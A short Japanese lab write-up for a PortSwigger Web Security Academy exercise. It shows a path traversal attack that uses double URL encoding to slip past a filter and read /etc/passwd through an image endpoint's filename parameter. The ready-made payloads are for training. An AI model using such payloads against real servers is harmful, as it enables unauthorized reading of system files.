> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/path-traversal/bypass-by-double-url-decoding.md).
# 二重URLデコードによる回避
PortSwigger Web Security Academy のラボ向けメモ。二重URLデコードによる回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。
### ファイルパス・トラバーサル、不要なURLデコードによってトラバーサルシーケンスが除去される
このラボでは、生成された画像を表示する際のパストラバーサルの脆弱性を扱います。 / アプリケーションは、ユーザーが指定したファイル名内のトラバーサルシーケンスをブロックし、その後、この値を使用する前に追加のURLデコードを適用します。
目的は、〜の内容を読み取ることです `/etc/passwd` ファイルに存在するユーザーに対して試します。
次の標準的なペイロードは動作しないことがわかります:
```bash
../../../../../etc/paswd
```
このフィルターを回避するには、 **URLを2回エンコードし** それを `filename` の `/image` エンドポイント:
{% code overflow="wrap" %}
```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```
{% endcode %}
---
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